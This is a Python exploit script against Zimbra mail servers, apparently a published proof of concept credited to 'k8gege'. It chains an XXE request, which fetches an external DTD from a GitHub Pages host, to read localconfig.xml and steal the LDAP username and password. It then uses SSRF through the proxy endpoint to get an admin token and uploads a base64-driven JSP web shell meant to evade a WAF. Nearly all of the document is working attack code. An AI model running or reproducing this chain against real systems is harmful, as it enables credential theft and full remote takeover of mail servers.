Zimbra XML Injection / Server-Side Request Forgery

`#coding=utf8  
import requests  
import sys  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
base_url=sys.argv[1]  
base_url=base_url.rstrip("/")  
#upload file name and content  
#modify by k8gege  
#Connect "shell.jsp" using K8fly CmdShell  
#Because the CMD parameter is encrypted using Base64(bypass WAF)  
filename = "shell.jsp"  
fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'  
print(base_url)  
#dtd file url  
dtd_url="https://k8gege.github.io/zimbra.dtd"  
"""  
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">  
<!ENTITY % start "<![CDATA[">  
<!ENTITY % end "]]>">  
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">  
"""  
xxe_data = r"""<!DOCTYPE Autodiscover [  
<!ENTITY % dtd SYSTEM "{dtd}">  
%dtd;  
%all;  
]>  
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">  
<Request>  
<EMailAddress>aaaaa</EMailAddress>  
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>  
</Request>  
</Autodiscover>""".format(dtd=dtd_url)  
  
#XXE stage  
headers = {  
"Content-Type":"application/xml"  
}  
print("[*] Get User Name/Password By XXE ")  
r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)  
#print r.text  
if 'response schema not available' not in r.text:  
print("have no xxe")  
exit()  
  
#low_token Stage  
import re  
pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")  
pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")  
username = pattern_name.findall(r.text)[0][2]  
password = pattern_password.findall(r.text)[0][2]  
print(username)  
print(password)  
  
auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">  
<soap:Header>  
<context xmlns="urn:zimbra">  
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>  
</context>  
</soap:Header>  
<soap:Body>  
<AuthRequest xmlns="{xmlns}">  
<account by="adminName">{username}</account>  
<password>{password}</password>  
</AuthRequest>  
</soap:Body>  
</soap:Envelope>  
"""  
print("[*] Get Low Privilege Auth Token")  
r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)  
  
pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")  
  
low_priv_token = pattern_auth_token.findall(r.text)[0]  
  
#print(low_priv_token)  
  
# SSRF+Get Admin_Token Stage  
  
headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"  
headers["Host"]="foo:7071"  
print("[*] Get Admin Auth Token By SSRF")  
r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)  
  
admin_token =pattern_auth_token.findall(r.text)[0]  
#print("ADMIN_TOKEN:"+admin_token)  
  
f = {  
'filename1':(None,"whocare",None),  
'clientFile':(filename,fileContent,"text/plain"),  
'requestId':(None,"12",None),  
}  
  
headers ={  
"Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"  
}  
print("[*] Uploading file")  
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)  
#print(r.text)  
print("Shell: "+base_url+"/downloads/"+filename)  
#print("Connect \"shell.jsp\" using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)")  
print("[*] Request Result:")  
s = requests.session()  
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)  
#print(r.text)  
print("May need cookie:")  
print(headers['Cookie'])  
`